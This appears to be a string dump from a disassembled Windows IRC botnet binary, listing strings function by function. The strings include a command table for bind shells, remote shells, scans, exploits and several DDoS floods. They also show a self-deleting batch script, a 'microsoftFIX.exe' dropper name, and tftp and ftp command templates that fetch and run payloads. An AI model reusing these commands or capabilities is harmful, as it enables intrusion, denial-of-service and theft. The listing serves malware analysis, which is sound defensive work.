sub_4255E0(0402):
"ftell.c"
|
sub_41E220(08ae):
"filename != NULL"
"_open.c"
"mode != NULL"
"_open.c"
"_open.c"
|
sub_408AA4(0957):
"mIRC"
"mIRC"
|
sub_416F50(0d6b):
"file != NULL"
"fopen.c"
"*file != _T('\\0')"
"fopen.c"
"mode != NULL"
"fopen.c"
"*mode != _T('\\0')"
"fopen.c"
|
sub_411FA3(1280):
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
|
sub_411696(1416):
"%sKB"
"%sKB"
"%sKB"
"failed"
"failed"
"failed"
|
sub_4152A0(17fe):
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook re-allocation failure at fi"...
"Client hook re-allocation failure.\n"
"%s"
"Allocation too large or negative: %u by"...
"Error: memory allocation: bad memory bl"...
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"pOldBlock->nLine == IGNORE_LINE && pOld"...
"dbgheap.c"
"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
"dbgheap.c"
"fRealloc || (!fRealloc && pNewBlock == "...
"dbgheap.c"
"_pLastBlock == pOldBlock"
"dbgheap.c"
"_pFirstBlock == pOldBlock"
"dbgheap.c"
|
sub_4014E0(1956):
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"GetAsyncKeyState"
"GetKeyState"
"GetWindowTextA"
"GetForegroundWindow"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"ClearEventLogA"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"NetWkstaGetInfo"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
"avicap32.dll"
"capCreateCaptureWindowA"
"capGetDriverDescriptionA"
|
sub_424DC0(1d93):
"setlocal.c"
|
sub_415EE0(1dec):
"memory check error at 0x%08X = 0x%02X, "...
|
sub_41E730(1ed9):
"_flsbuf.c"
"(\"inconsistent IOB fields\", stream->_pt"...
"_flsbuf.c"
|
sub_415F70(207f):
"_heapchk fails with _HEAPBADBEGIN.\n"
"%s"
"_heapchk fails with _HEAPBADNODE.\n"
"%s"
"_heapchk fails with _HEAPBADEND.\n"
"%s"
"_heapchk fails with _HEAPBADPTR.\n"
"%s"
"_heapchk fails with unknown return valu"...
"%s"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"DAMAGE: on top of Free block at 0x%08X."...
"%hs allocated at file %hs(%d).\n"
"%hs located at 0x%08X is %u bytes long."...
|
sub_409BC6(22a3):
"%d.%d.%d.%d"
|
sub_420880(2402):
"flag == 0 || flag == 1"
"_sftbuf.c"
|
sub_40AF1B(28a9):
"NETMANIAC"
"ADIK"
"*** MESSAGE ***"
"[*] Msg body size: %d\n"
|
sub_418240(331e):
"fprintf.c"
"format != NULL"
"fprintf.c"
|
sub_424F60(3752):
"setlocal.c"
"="
";"
|
sub_40F738(3ebd):
"cmd /q"
|
sub_428D70(3fad):
"ungetc.c"
|
sub_4097CE(3fc3):
"microsoftFIX.exe"
"microsoftFIX.exe"
|
sub_412A14(3fe3):
"Share name: Resource: "...
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
|
sub_420720(4039):
"_sftbuf.c"
"_sftbuf.c"
|
sub_413D8F(4107):
"www.schlund.net"
"www.utwente.nl"
"verio.fr"
"www.1und1.de"
"www.switch.ch"
"www.belwue.de"
"de.yahoo.com"
"www.google.it"
"www.xo.net"
"www.stanford.edu"
"www.verio.com"
"www.nocster.com"
"www.rit.edu"
"www.cogentco.com"
"www.burst.net"
"nitro.ucsc.edu"
"www.level3.com"
"www.above.net"
"www.easynews.com"
"www.google.com"
"www.lib.nthu.edu.tw"
"www.st.lib.keio.ac.jp"
"www.d1asia.com"
"www.nifty.com"
"yahoo.co.jp"
"www.google.co.jp"
|
sub_42B250(4234):
"initnum.c"
"."
"initnum.c"
"initnum.c"
|
sub_426B80(44ef):
""
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
|
sub_416810(456d):
"Dumping objects ->\n"
"%s"
"#File Error#(%d) : "
"%hs(%d) : "
"{%ld} "
"client block at 0x%08X, subtype %x, %u "...
"normal block at 0x%08X, %u bytes long.\n"...
"crt block at 0x%08X, subtype %x, %u byt"...
"Object dump complete.\n"
"%s"
|
sub_41B780(477b):
"mlock.c"
|
sub_42F960(4836):
"inithelp.c"
"inithelp.c"
|
sub_416BF0(494e):
"Detected memory leaks!\n"
"%s"
|
sub_4094E0(4c22):
"Napi2_135"
" Scan Time: %s."
|
sub_4139E2(4c4e):
"cmd.exe"
|
sub_42A8D0(5012):
"inittime.c"
|
sub_414EA0(5171):
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook allocation failure at file "...
"Client hook allocation failure.\n"
"%s"
"Invalid allocation size: %u bytes.\n"
"Error: memory allocation: bad memory bl"...
"%s"
|
sub_42F440(569a):
"am/pm"
"a/p"
|
sub_428F10(58db):
"TZ"
"tzset.c"
|
sub_40DD58(5a57):
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
|
sub_411D15(5bd7):
"%s Error: %s <%d>."
|
sub_40E18A(5cba):
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_40C89D"><td><pre><a name="sub_40C89D"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40C89D"><font size=+2>sub_40C89D</a>(5e7c)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.recv</font>
<font color=brown>
""
</font></pre></td></tr><tr id="sub_40ACD9"><td><pre><a name="sub_40ACD9"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40ACD9"><font size=+2>sub_40ACD9</a>(5f4a)</font>:<font color=brown>
"echo open %s %d > o&echo user 1 1 >> o "...
"bling.exe\r\n"
</font></pre></td></tr><tr id="sub_410557"><td><pre><a name="sub_410557"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_410557"><font size=+2>sub_410557</a>(6279)</font>:<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_412564"><td><pre><a name="sub_412564"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_412564"><font size=+2>sub_412564</a>(6353)</font>:<font color=brown>
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
</font></pre></td></tr><tr id="sub_4276D0"><td><pre><a name="sub_4276D0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4276D0"><font size=+2>sub_4276D0</a>(63aa)</font>:<font color=brown>
"osfinfo.c"
</font></pre></td></tr><tr id="sub_42B580"><td><pre><a name="sub_42B580"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_42B580"><font size=+2>sub_42B580</a>(642b)</font>:<font color=brown>
"initmon.c"
</font></pre></td></tr><tr id="sub_414129"><td><pre><a name="sub_414129"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_414129"><font size=+2>sub_414129</a>(665a)</font>:<font color=brown>
"2003"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
</font></pre></td></tr><tr id="sub_41DB50"><td><pre><a name="sub_41DB50"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41DB50"><font size=+2>sub_41DB50</a>(6774)</font>:<font color=brown>
"_filbuf.c"
</font></pre></td></tr><tr id="sub_40C52A"><td><pre><a name="sub_40C52A"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40C52A"><font size=+2>sub_40C52A</a>(6aae)</font>:<font color=brown>
"8a885d04-1ceb-11c9-9fe8-08002b104860"
</font></pre></td></tr><tr id="sub_418D40"><td><pre><a name="sub_418D40"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_418D40"><font size=+2>sub_418D40</a>(6b94)</font>:<font color=brown>
"_file.c"
"_file.c"
</font></pre></td></tr><tr id="sub_427610"><td><pre><a name="sub_427610"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_427610"><font size=+2>sub_427610</a>(70cc)</font>:<font color=brown>
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
</font></pre></td></tr><tr id="sub_4253B0"><td><pre><a name="sub_4253B0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4253B0"><font size=+2>sub_4253B0</a>(7430)</font>:<font color=brown>
"_"
"."
</font></pre></td></tr><tr id="sub_41B2E0"><td><pre><a name="sub_41B2E0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41B2E0"><font size=+2>sub_41B2E0</a>(744e)</font>:<font color=brown>
"_freebuf.c"
</font></pre></td></tr><tr id="sub_411DDA"><td><pre><a name="sub_411DDA"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_411DDA"><font size=+2>sub_411DDA</a>(79e2)</font>:<font color=brown>
"mIRC"
"mIRC"
</font></pre></td></tr><tr id="sub_409ECC"><td><pre><a name="sub_409ECC"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_409ECC"><font size=+2>sub_409ECC</a>(8122)</font>:<font color=brown>
"napi2_135"
</font></pre></td></tr><tr id="sub_413BB4"><td><pre><a name="sub_413BB4"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_413BB4"><font size=+2>sub_413BB4</a>(86cb)</font>:<font color=brown>
"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
"\r\n"
</font></pre></td></tr><tr id="sub_4090E1"><td><pre><a name="sub_4090E1"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4090E1"><font size=+2>sub_4090E1</a>(8732)</font>:<font color=brown>
"%s %s stopped. (%d thread(s) stopped.)"
"%s No %s thread found."
</font></pre></td></tr><tr id="sub_41E5B0"><td><pre><a name="sub_41E5B0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41E5B0"><font size=+2>sub_41E5B0</a>(8807)</font>:<font color=brown>
"stream.c"
</font></pre></td></tr><tr id="sub_40D8F7"><td><pre><a name="sub_40D8F7"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40D8F7"><font size=+2>sub_40D8F7</a>(8a52)</font>:<font color=brown>
"GET "
" "
" "
"GET "
"\r\n"
</font></pre></td></tr><tr id="sub_418340"><td><pre><a name="sub_418340"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_418340"><font size=+2>sub_418340</a>(8ae1)</font>:<font color=brown>
"string != NULL"
"fgets.c"
"fgets.c"
</font></pre></td></tr><tr id="sub_428790"><td><pre><a name="sub_428790"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_428790"><font size=+2>sub_428790</a>(8b1e)</font>:<font color=brown>
"MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
</font></pre></td></tr><tr id="sub_401445"><td><pre><a name="sub_401445"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_401445"><font size=+2>sub_401445</a>(8b55)</font>:<font color=brown>
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_42B9E0"><td><pre><a name="sub_42B9E0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_42B9E0"><font size=+2>sub_42B9E0</a>(8cd3)</font>:<font color=brown>
"initctyp.c"
"initctyp.c"
"initctyp.c"
"initctyp.c"
</font></pre></td></tr><tr id="sub_418AF0"><td><pre><a name="sub_418AF0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_418AF0"><font size=+2>sub_418AF0</a>(8f05)</font>:<font color=brown>
"string != NULL"
"sscanf.c"
"format != NULL"
"sscanf.c"
</font></pre></td></tr><tr id="sub_423460"><td><pre><a name="sub_423460"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_423460"><font size=+2>sub_423460</a>(942f)</font>:<font color=brown>
"KERNEL32"
"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_430B00"><td><pre><a name="sub_430B00"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_430B00"><font size=+2>sub_430B00</a>(95ff)</font>:<font color=brown>
"cchCount1==0 && cchCount2==1 || cchCoun"...
</font></pre></td></tr><tr id="sub_408768"><td><pre><a name="sub_408768"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_408768"><font size=+2>sub_408768</a>(981a)</font>:<font color=brown>
"%s"
"%s%i"
</font></pre></td></tr><tr id="sub_413426"><td><pre><a name="sub_413426"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_413426"><font size=+2>sub_413426</a>(9955)</font>:<font color=brown>
"SeDebugPrivilege"
" %s (%d)"
" %s (%d)"
" %s (%d)"
"SeDebugPrivilege"
</font></pre></td></tr><tr id="sub_412C7B"><td><pre><a name="sub_412C7B"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_412C7B"><font size=+2>sub_412C7B</a>(99ad)</font>:<font color=brown>
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
</font></pre></td></tr><tr id="sub_4131C9"><td><pre><a name="sub_4131C9"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4131C9"><font size=+2>sub_4131C9</a>(9bb4)</font>:<font color=brown>
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
</font></pre></td></tr><tr id="sub_425250"><td><pre><a name="sub_425250"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_425250"><font size=+2>sub_425250</a>(9c10)</font>:<font color=brown>
"_.,"
</font></pre></td></tr><tr id="sub_411F81"><td><pre><a name="sub_411F81"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_411F81"><font size=+2>sub_411F81</a>(9dbe)</font>:<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_416AD0"><td><pre><a name="sub_416AD0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_416AD0"><font size=+2>sub_416AD0</a>(a1d1)</font>:<font color=brown>
"%.2X "
" Data: <%s> %s\n"
</font></pre></td></tr><tr id="sub_413049"><td><pre><a name="sub_413049"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_413049"><font size=+2>sub_413049</a>(a909)</font>:<font color=brown>
"Username accounts for local system:"
" %S"
"Total users found: %d."
</font></pre></td></tr><tr id="sub_40219C"><td><pre><a name="sub_40219C"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40219C"><font size=+2>sub_40219C</a>(ac3c)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"Avicap32.dll failed. <%d>"
</font></pre></td></tr><tr id="sub_40CD34"><td><pre><a name="sub_40CD34"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40CD34"><font size=+2>sub_40CD34</a>(ad00)</font>:<font color=brown>
"microsoftFIX.exe"
"tftp -i %s get %s\r\n"
"echo open %s %d > o&echo user 1 1 >> o "...
"%s\r\n"
</font></pre></td></tr><tr id="sub_4171D0"><td><pre><a name="sub_4171D0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4171D0"><font size=+2>sub_4171D0</a>(afb7)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_413806"><td><pre><a name="sub_413806"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_413806"><font size=+2>sub_413806</a>(b276)</font>:<font color=brown>
"PRIVMSG %s :%s\r"
"%s"
</font></pre></td></tr><tr id="sub_411605"><td><pre><a name="sub_411605"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_411605"><font size=+2>sub_411605</a>(b2db)</font>:<font color=brown>
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
</font></pre></td></tr><tr id="sub_415890"><td><pre><a name="sub_415890"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_415890"><font size=+2>sub_415890</a>(b6b2)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook free failure.\n"
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"pHead->nLine == IGNORE_LINE && pHead->l"...
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
"_pLastBlock == pHead"
"dbgheap.c"
"_pFirstBlock == pHead"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_4172D0"><td><pre><a name="sub_4172D0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4172D0"><font size=+2>sub_4172D0</a>(b784)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_419B00"><td><pre><a name="sub_419B00"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_419B00"><font size=+2>sub_419B00</a>(b786)</font>:<font color=brown>
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
</font></pre></td></tr><tr id="sub_415CA0"><td><pre><a name="sub_415CA0"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_415CA0"><font size=+2>sub_415CA0</a>(b86e)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_411E5F"><td><pre><a name="sub_411E5F"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_411E5F"><font size=+2>sub_411E5F</a>(c0b1)</font>:<font color=brown>
"explorer.exe"
</font></pre></td></tr><tr id="sub_42C930"><td><pre><a name="sub_42C930"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_42C930"><font size=+2>sub_42C930</a>(c3a8)</font>:<font color=brown>
"040a"
"1252"
</font></pre></td></tr><tr id="sub_4093A7"><td><pre><a name="sub_4093A7"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_4093A7"><font size=+2>sub_4093A7</a>(c3fd)</font>:<font color=brown>
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_41AB10"><td><pre><a name="sub_41AB10"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_41AB10"><font size=+2>sub_41AB10</a>(c571)</font>:<font color=brown>
"user32.dll"
"wsprintfA"
"Second Chance Assertion Failed: File %s"...
"_CrtDbgReport: String too long or IO Er"...
"Assertion failed: "
"Assertion failed!"
"\r"
"\n"
"%s(%d) : %s"
"_CrtDbgReport: String too long or IO Er"...
</font></pre></td></tr><tr id="sub_416570"><td><pre><a name="sub_416570"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_416570"><font size=+2>sub_416570</a>(c585)</font>:<font color=brown>
"_CrtMemCheckPoint: NULL state pointer.\n"...
"%s"
"Bad memory block found at 0x%08X.\n"
</font></pre></td></tr><tr id="sub_40BABA"><td><pre><a name="sub_40BABA"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40BABA"><font size=+2>sub_40BABA</a>(c86d)</font>:<font color=brown>
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
</font></pre></td></tr><tr id="sub_401000"><td><pre><a name="sub_401000"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_401000"><font size=+2>sub_401000</a>(c8ef)</font>:<font color=brown>
"MicroSoft Getway mqbol"
</font></pre></td></tr><tr id="sub_431790"><td><pre><a name="sub_431790"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_431790"><font size=+2>sub_431790</a>(cc1e)</font>:<font color=brown>
"invalid string position"
</font></pre></td></tr><tr id="sub_40DEDA"><td><pre><a name="sub_40DEDA"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_40DEDA"><font size=+2>sub_40DEDA</a>(cd80)</font>:<font color=brown>
"\\%s"
"%s"
"%s%s"
"\n"
"*"
</font></pre></td></tr><tr id="sub_403038"><td><pre><a name="sub_403038"></a><a href="8d5032c500ad1b0a106b20183ea4d3a4_unpacked.asm.html#sub_403038"><font size=+2>sub_403038</a>(cda1)</font>:<font color=brown>
" :"
" "
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"332"
"PRIVMSG"
"NOTICE"
"SEND"
"%s"
"%s"
"NOTICE"
"#"
"CHAT"
"%s"
"gogo"
"gol"
"332"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
"$chr("
")"
"63"
" "
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"version"
"ver"
"dedication"
"ded"
"speedtest"
"st"
"bindshell"
"bd"
"Server"
"socks4"
"s4"
"socks4stop"
"Server"
"rloginstop"
"Server"
"httpstop"
"Server"
"logstop"
"Log list"
"redirectstop"
"TCP redirect"
"synstop"
"Syn flood"
"skysynstop"
"SkySyn flood"
"targa3stop"
"Targa3 flood"
"wonkstop"
"Wonk flood"
"packetstop"
"DDoS flood"
"tsunamistop"
"Tsunami flood"
"wisdomstop"
"Wisdom attack"
"udpstop"
"UDP flood"
"pingstop"
"Ping flood"
"tftpstop"
"Server"
"findfilestop"
"ffstop"
"procsstop"
"psstop"
"clonestop"
"Clone"
"securestop"
"Secure"
"scanstop"
"Scan"
"scanstats"
"stats"
"trstats"
"exploitlist"
"explist"
"reconnectt"
"r"
"disconnectt"
"dc"
"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"threads"
"t"
"aliases"
"al"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"baybayman"
"bamann"
"procs"
"ps"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
"killlog"
"kl"
"addalias"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"updateroooom"
"uproo"
"execute"
"e"
"mydear"
"mydear"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"c_action"
"c_a"
"portscan"
"psc"
"advscan"
"asc"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"crash"
"crash"
"scanall"
"sa"
"phonehome"
"NOTICE %s :PHONING HOME: hi ;).\r\n"
"exploit"
"#RpmXp"
"#RpmXp"
"reconnect.in"
"rin"
"reconnect.in.ms"
"rinms"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"server"
"se"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"list"
"li"
"mirccmd"
"mirc"
"visit"
"v"
"cmd"
"cm"
"readfile"
"rf"
"ident"
"on"
"off"
"net"
"start"
"%s"
"stop"
"%s"
"pause"
"%s"
"continue"
"%s"
"delete"
"%s"
"share"
"%s"
"%s"
"user"
"%s"
